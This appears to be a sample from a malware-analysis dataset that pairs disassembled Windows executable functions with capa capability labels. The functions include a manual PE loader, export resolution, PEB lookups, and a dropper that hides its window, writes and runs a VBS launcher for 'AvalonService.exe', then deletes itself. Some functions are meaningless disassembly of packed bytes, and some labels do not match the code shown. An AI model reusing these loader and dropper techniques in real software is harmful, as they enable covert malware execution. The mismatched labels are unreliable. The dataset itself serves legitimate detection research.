joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e8d9a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
test eax, eax
je 0x5e8e38
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x5e8e38
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
cmp word [eax], 0x5a4d
jne 0x5e8e38
mov ebx, dword [eax + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x5e8e38
mov ebx, dword [eax + 0x34]
mov dword [ebp - 0xc], ebx
mov ebx, dword [eax + 0x50]
mov dword [ebp - 8], ebx
push edi
push 4
push 0x2000
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [edi + 0x122d3aee]
pop edi
test eax, eax
jne 0x5e8e2b
push edi
push 4
push 0x2000
push dword [ebp - 8]
push 0
call dword [edi + 0x122d3aee]
pop edi
test eax, eax
je 0x5e8e38
mov ebx, dword [ebp + 8]
mov dword [ebx + 0x14], eax
mov dword [ebp - 0x10], 1
popal
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x5e8ebd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x14]
mov dword [ebp - 8], ebx
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov ebx, dword [eax + 0x3c]
add eax, ebx
lea ebx, [eax + 0x18]
movzx ecx, word [eax + 0x14]
add ebx, ecx
movzx ecx, word [eax + 6]
test ecx, ecx
je 0x5e8f69
push ecx
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x10]
cmp ecx, edx
jae 0x5e8efe
mov ecx, edx
mov dword [ebp - 4], ecx
mov eax, dword [ebx + 0xc]
add eax, dword [ebp - 8]
push ecx
push edi
push 4
push 0x1000
push dword [ebp - 4]
push eax
call dword [edi + 0x122d3aee]
pop edi
pop ecx
test eax, eax
je 0x5e8f5c
push edi
mov edi, eax
xor eax, eax
push ecx
push edi
rep stosb byte es:[edi], al
pop edi
pop ecx
mov edx, dword [ebx + 0x10]
cmp ecx, edx
jl 0x5e8f3c
mov ecx, edx
mov esi, dword [ebx + 0x14]
add esi, dword [ebp - 0xc]
lea eax, [ebx + 0x10]
cmp dword [eax + 4], 0
je 0x5e8f51
rep movsb byte es:[edi], byte [esi]
pop edi
add ebx, 0x28
pop ecx
dec ecx
jmp 0x5e8ee5
pop ecx
mov dword [ebp - 0x10], 0
jmp 0x5e8f70
mov dword [ebp - 0x10], 1
popal
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x5e918a
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x14], eax
mov ebx, dword [eax + 0x3c]
add eax, ebx
lea ebx, [eax + 0x18]
movzx ecx, word [eax + 0x14]
add ebx, ecx
movzx ecx, word [eax + 6]
test ecx, ecx
je 0x5e9204
push ecx
mov ecx, dword [ebx + 0xc]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebx + 0x24]
push edx
call fcn.005e912f
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [edi + 0x122d1e61]
pop edi
test eax, eax
jne 0x5e91fa
pop ecx
jmp 0x5e920b
add ebx, 0x28
pop ecx
dec ecx
jmp 0x5e91b3
mov dword [ebp - 0x18], 1
popal
mov eax, dword [ebp - 0x18]
leave
ret 4
Function at 0x5e93b1
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0x18], 0
jne 0x5e9505
cmp dword [ebp + 0xc], 0
jne 0x5e9505
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [eax + 8]
cmp eax, 0xffffffff
je 0x5e93f8
sub eax, dword [ebp + 0x10]
js 0x5e9505
je 0x5e9505
cmp eax, dword [ebp + 0x14]
jl 0x5e9505
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
cmp word [eax], 0x5a4d
jne 0x5e9505
mov ebx, dword [eax + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x5e9505
mov ebx, dword [eax + 0x50]
push edi
push 4
push 0x1000
push ebx
push 0
call dword [edi + 0x122d3aee]
pop edi
test eax, eax
je 0x5e9505
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
pop ebx
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [edi + 0x124ad768]
push eax
call fcn.005e8419
pop edi
test eax, eax
je 0x5e9505
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [edi + 0x124ad76c]
push eax
call fcn.005e8419
pop edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov ebx, dword [eax + 0x3c]
add eax, ebx
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xc], eax
push edi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
mov esi, dword [esi + 4]
rep movsb byte es:[edi], byte [esi]
pop edi
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
mov ebx, dword [eax + 0x3c]
add eax, ebx
lea ebx, [eax + 0x18]
movzx ecx, word [eax + 0x14]
add ebx, ecx
movzx ecx, word [eax + 6]
test ecx, ecx
je 0x5e94f8
push ecx
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add eax, dword [ebp - 8]
test eax, eax
je 0x5e9505
push edi
mov edi, eax
xor eax, eax
push ecx
push edi
rep stosb byte es:[edi], al
pop edi
pop ecx
mov edx, dword [ebx + 0x10]
cmp ecx, edx
jl 0x5e94e5
mov ecx, edx
mov esi, dword [ebx + 0x14]
add esi, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
pop edi
add ebx, 0x28
pop ecx
dec ecx
jmp 0x5e94b3
push dword [ebp + 8]
call fcn.005ea2a7
jmp 0x5e950c
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
leave
ret 0x14
Function at 0x5e9897
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x5e9986
mov ecx, eax
mov ebx, dword [ecx + 0x3c]
add ecx, ebx
mov ecx, dword [ecx + 0x7c]
test ecx, ecx
je 0x5e9986
mov dword [ebp - 4], ecx
mov ebx, eax
mov ecx, dword [ebx + 0x3c]
add ebx, ecx
mov ebx, dword [ebx + 0x78]
add ebx, eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp + 0xc]
test eax, 0xffff0000
je 0x5e9932
mov ecx, dword [ebx + 0x18]
test ecx, ecx
je 0x5e9986
dec ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x20]
add eax, dword [ebp - 0xc]
push ecx
shl ecx, 2
add eax, ecx
mov eax, dword [eax]
add eax, dword [ebp - 0xc]
push edi
push dword [ebp + 0xc]
push eax
call dword [edi + 0x124ad8c8]
pop edi
pop ecx
test eax, eax
jne 0x5e98eb
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
add eax, dword [ebp - 0xc]
shl ecx, 1
add eax, ecx
movzx ecx, word [eax]
jmp 0x5e9938
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebx + 0x10]
mov ebx, dword [ebp - 8]
mov eax, dword [ebx + 0x14]
cmp ecx, eax
jge 0x5e9986
mov eax, dword [ebp - 0xc]
mov edx, dword [ebx + 0x1c]
add edx, eax
shl ecx, 2
add edx, ecx
cmp dword [edx], 0
je 0x5e9986
mov ebx, dword [edx]
add eax, ebx
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 8]
jle 0x5e9986
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
jge 0x5e9986
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.005e97e0
mov dword [ebp - 0x10], eax
popal
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x5b9e60
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 8
mov eax, dword [0x7c9028]
mov edx, dword [0x7c902c]
mov dword [esp + 4], 0
lea ecx, [eax + eax]
mov eax, dword [0xbc3068]
or ecx, edx
mov dword [esp], ecx
fild qword [esp]
test eax, eax
fadd qword [0x7c9040]
fstp qword [0x7c9040]
jne 0x5b9f14
push esi
push 0
call sub.comdlg32.dll_ChooseColorA
push str.Crypt32.dll
mov dword [0x7c9e2c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CertCloseStore
push eax
mov dword [0xbc3068], eax
call esi
mov edx, dword [0xbc3068]
push str.CertEnumCertificatesInStore
push edx
mov dword [0xbc3064], eax
call esi
mov dword [0xbc3054], eax
mov eax, dword [0xbc3068]
push str.CertFreeCertificateContext
push eax
call esi
mov ecx, dword [0xbc3068]
push str.PFXImportCertStore
push ecx
mov dword [0xbc304c], eax
call esi
mov edx, dword [0xbc3068]
push str.CryptAcquireCertificatePrivateKey
push edx
mov dword [0xbc3060], eax
call esi
mov dword [0xbc3050], eax
pop esi
add esp, 8
ret

Function at 0x6440af
Capabilities:
Encode data using xor

Disassembly:
out 0x90, eax
jns 0x64410c
imul ebp, dword [ebx], 0x3f5523cb
stosd dword es:[edi], eax
push 0x6ffede0
lds ebp, ss:[ebx - 0x2c]
movsb byte es:[edi], byte [esi]
push 0x40d77688
pop edx
mov ebp, 0xbd97b247
push 0xffffffffffffff8c
mov bh, 0x9d
test al, 0x72
adc eax, 0xd7ce83bd
fstp qword [ebx]
and ecx, edi
adc ecx, esi
not dword [ebp + 0x3c]
inc esi
scasb al, byte es:[edi]
xor eax, 0x7a5fcf99
arpl word [esi - 0x5e868e31], sp
mov dword [edx], ebx
mov ebx, 0xbcb61dc7
mov eax, dword [0xc7bb1a89]
sbb eax, 0x9b23bcb6
test al, 0x45
seto byte [edi + 0x7a8f21f9]
and dword [esi + 0x245d2db5], esi
fisubr word [edi]
sbb bh, byte [ebx - 0x4349e239]
and ebx, dword [ebx - 0x6ff0ba58]
xchg ecx, edi
and dword [edi - 0x4a49de86], ecx
sub eax, 0x2fde245d
loop 0x6440f1
push esi
xor eax, 0x578117c4
loop 0x6440ef
inc eax
stosd dword es:[edi], eax
cmp edi, 0xfffffffd
sal byte [0x774845c5], cl
xor eax, 0x774845c5
out dx, al
pop edi
inc edi
inc edx
xor dword [edi - 0x48], ebx
in eax, dx
xchg edi, eax
or eax, 0x71469c56
jbe 0x644190
mov word fs:[esi + 0x1da54679], ss
sbb eax, 0x5eabaca6
push es
sub eax, 0x1ce6c13d
retf
jecxz 0x6441e9
cdq
dec ebp
or al, 0xb7
jge 0x64411a
cmp eax, 0x4da94cc6
std
push esp
sahf
test eax, 0x2654fd4d
sahf
cmp al, byte [eax + 0x3c072cc4]
cmp eax, dword [edi + 0x3493c184]
xor bl, byte [edx + 7]
invalid
add bl, byte [ebx - 0x4c8489b5]
movsd dword es:[edi], dword gs:[esi]
popfd
inc edx
xor dword [eax], eax
pushal
out 0xc1, eax
adc edx, ecx
test al, 0xbd
inc eax
insd dword es:[edi], dx
adc ebp, ecx
inc ecx
sbb eax, 0x92522d27
jmp 0x64419b

Function at 0x68f37f
Capabilities:
Encode data using xor

Disassembly:
stc
push cs
lock or dword [ebp - 0x2cd85a6c], edx
push ss
xor dword [ebx + 0x36], edi
out dx, eax
invalid
Function at 0x724a0f
Capabilities:
Encode data using xor

Disassembly:
xchg ebx, eax
pushal
mov ecx, ss
xchg esp, eax
mov bl, 0xbe
sal byte [ebx + 0x77], 0x61
mov word [eax], gs
pop edi
sub eax, 0x65781ccd
cdq
cdq
fstp qword [ecx - 0xc76d227]
mov dword [0x9ade61bb], eax
fidiv word [ebx]
xor dword [eax], ecx
pop ds
dec esp
out 0x7d, al
and esi, dword [ebx + 0x12]
outsd dx, dword [esi]
lodsd eax, dword [esi]
cmp eax, 0xc61d6f5f
sbb ebx, dword [ecx - 0x6e70ea96]
pop edi
lds esp, [ecx + 0x2a6c3aa6]
jbe 0x7249fd
inc esp
xchg ecx, eax
mov cl, 0x2a
and ch, bl
fdivr dword [edx]
add al, 0xa
inc esi
or edi, dword [ecx + 0x422157a4]
aas
cld
std
test byte [esp + edx*2], bh
push ebp
bound ecx, qword [edx]
xchg esi, eax
and byte [eax], bl
mov ebp, 0xf413e40
popfd
rcl dword [ebx - 0x211a9f25]
sar byte [eax + esi + 0x18], 1
scasd eax, dword es:[edi]
mov edx, ebp
and al, 0xcf
push ss
fcom qword [edx + 0x1a]
movsd dword es:[edi], dword [esi]
cmp eax, 0x1c6cf7b
jb 0x724ae6
mov esp, 0x535d0a16
mov al, byte [0x724b06e4]
imul eax, dword [esi - 0x93ba04e], 0x93047793
sbb dword [ecx - 0x3d], esi
and esp, dword [ebx + 0x5192e3c7]
pop edi
movsd dword es:[edi], dword [esi]
out dx, al
std
neg esi
into
adc ecx, dword gs:[ecx - 0x722eed5c]
xchg ecx, eax
cmpsb byte [esi], byte es:[edi]
mov word [eax + 0x53], fs
xchg ebx, eax
sub dword [eax + 0xc], edi
mov word [eax - 0x52], ss
xchg ebx, eax
mov esi, 0xa233afe5
or al, 0x9f
iretd
cmp edi, dword [edi]
adc eax, 0x9f061fe1
jne 0x724b0e
sub al, 0x55
sub dword [edx - 0x21a85e07], edx
xor eax, ebx
mov ebp, 0xab8b4531
add ch, byte [edi - 0x53985fa6]
lcall 0x4f56, 0x43d60455
fimul dword [esi - 0x5d]
or dword [eax - 0x546568d0], 0xecb57e3
rcr dword [ecx + ebp*4], 1
mov dword [0x97308881], eax
lcall 0xd10e, 0xcb57e3ab
sbb al, 0xa9
outsd dx, dword [esi]
cdq
aas
adc dh, byte [ebx - 0x1dbd3a83]
outsd dx, dword [esi]
invalid
Function at 0x1000cb40
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10038aa0
push 0x100379a0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1003a084]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
cmp eax, 1
jne 0x1000cb90
mov dword [0x1003a4b8], ecx
mov edi, 1
mov dword [ebp - 0x20], edi
sub eax, 0
je 0x1000cc38
sub eax, edi
jne 0x1000cc84
mov dword [0x1003a4a0], ecx
push ecx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x1003a494
push edi
call dword [sym.imp.ole32.dll_CoGetMalloc]
cmp dword [0x1003a494], 0
je 0x1000cc07
test eax, eax
js 0x1000cc07
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x40]
mov dword [0x1003a490], eax
cmp eax, 0x7fffffff
jbe 0x1000cc12
mov eax, dword [0x1003a494]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x1003b29c]
call esi
mov dword [0x1003a494], 0
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
jmp 0x1000cc8d
push 0
push 0x1003a49c
call dword [sym.imp.MSDART.DLL_MPInitializeCriticalSectionAndSpinCount]
add esp, 8
test eax, eax
je 0x1000cc07
call fcn.1000d450
test eax, eax
jne 0x1000cc84
mov dword [ebp - 4], 0xfffffffe
jmp 0x1000cc8d
mov ecx, 0x1003a4bc
call fcn.10029020
mov ecx, dword [0x1003a494]
test ecx, ecx
je 0x1000cc66
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x1003b29c]
call esi
mov dword [0x1003a494], 0
push 0x1003a49c
call dword [sym.imp.MSDART.DLL_MPDeleteCriticalSection]
add esp, 4
jmp 0x1000cc84
mov dword [ebp - 4], 0xfffffffe
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10037970
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000d450
Capabilities:
Generate random numbers via winapi

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push edi
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov edi, eax
cmp edi, 1
jne 0x1000d49d
push esi
push 0x1003a488
push 8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test esi, esi
pop esi
je 0x1000d4a1
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x1000d4dd
push 0
call dword [sym.imp.msvcrt.dll_time]
push eax
call dword [sym.imp.msvcrt.dll_srand]
call dword [sym.imp.msvcrt.dll_rand]
push 0
mov dword [0x1003a488], eax
call dword [sym.imp.msvcrt.dll_time]
push eax
call dword [sym.imp.msvcrt.dll_srand]
add esp, 0x10
call dword [sym.imp.msvcrt.dll_rand]
mov dword [0x1003a48c], eax
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10015d30
Capabilities:
Terminate process

Disassembly:
lea eax, [edx - 1]
cmp eax, edx
ja 0x10015d43
dec edx
add edx, ecx
cmp edx, ecx
jb 0x10015d43
not eax
and eax, edx
ret
jmp fcn.10015d20
Function at 0x10027020
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038788
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1003a084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x24], edi
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x28], edi
mov dword [edi], 0x10002700
mov dword [edi + 4], 0
mov dword [edi + 8], 7
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
lock inc dword [0x1003a480]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi + 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [edi], 0x10002b58
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], ecx
mov dword [edi + 0x40], eax
test ebx, ebx
je 0x100270d9
mov eax, dword [ebx]
push ebx
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x1003b29c]
call esi
mov ecx, dword [edi + 0x38]
mov dword [edi + 0x44], ebx
test ecx, ecx
je 0x100270e3
lock inc dword [ecx]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea esi, [edi + 0x48]
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [edi + 0x54], ecx
mov ecx, eax
mov dword [edi + 0x58], ecx
mov ecx, dword [esi + 4]
mov dword [edi + 0x50], eax
mov eax, edi
mov dword [edi + 0x5c], ecx
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037970
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10036a90
Capabilities:
Get token privileges

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, ecx
mov dword [ebp - 4], 0
push esi
push edi
mov dword [ebp - 0xc], eax
xor edi, edi
mov byte [eax], 0
lea eax, [ebp - 4]
push eax
push 1
push 0x20008
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x10036b32
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x10036af3
lea eax, [ebp - 4]
push eax
push edi
push 0x20008
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x10036afa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
je 0x10036b32
lea eax, [ebp - 4]
push eax
push 0x20008
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10036b32
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x10036bc6
movzx esi, si
or esi, 0x80070000
jmp 0x10036bc6
lea eax, [ebp - 8]
push eax
push 0
push 0
push 3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
jne 0x10036b5d
mov esi, 0x8007000e
jmp 0x10036bc6
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x10036b14
lea eax, [ebp - 0x14]
push eax
push 0x10009c00
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x10036b14
mov edx, dword [edi]
xor ecx, ecx
test edx, edx
je 0x10036bc4
mov esi, dword [ebp - 0x10]
lea eax, [edi + 8]
push ebx
mov ebx, dword [ebp - 0x14]
jmp 0x10036ba0
cmp dword [eax - 4], ebx
jne 0x10036ba9
cmp dword [eax], esi
je 0x10036bb3
inc ecx
add eax, 0xc
cmp ecx, edx
jb 0x10036ba0
jmp 0x10036bc3
lea eax, [ecx + ecx*2]
mov ecx, dword [ebp - 0xc]
test byte [edi + eax*4 + 0xc], 3
setne al
mov byte [ecx], al
pop ebx
xor esi, esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x10036bd4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10036bdf
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10037ab0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x10037aee
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10037ae6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10037af0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10037ad6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10037bc0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10037bd6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x10037bf1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings
Execute command
Get file attributes
Hide graphical window
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x5c
call fcn.00401b10
call sub.KERNEL32.dll_GetConsoleWindow
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 6
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [ebp - 0x2a], 0x52415453
mov word [ebp - 0x26], 0x54
mov dword [esp + 4], 0x405064
mov dword [esp], str.ctmp.tmp
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x20], eax
mov dword [esp], str.ctmp.tmp
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov dword [esp + 4], eax
mov dword [esp], str.ctmp.tmp
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x8d
mov dword [esp + 4], 1
mov dword [esp], str.Set_objShell__WScript.CreateObject__WScript.Shell___nobjShell.Run__AvalonService.exe__c_config.cfg_client.php___AvalonService.log____0__True
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebp - 0x4d], 0x72637377
mov dword [ebp - 0x49], 0x20747069
mov dword [ebp - 0x45], 0
lea eax, [ebp - 0x41]
mov ecx, 0x17
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
and ecx, 0xfffffffc
mov eax, 0
mov dword [edx + eax], ebx
add eax, 4
cmp eax, ecx
jb 0x401566
add edx, eax
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4d]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x4d]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x4d]
add eax, edx
mov dword [eax], 0x7362762e
mov byte [eax + 4], 0
lea eax, [ebp - 0x4d]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [esp], str.del__A:H_ctmp.tmp
call sub.msvcrt.dll_system
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret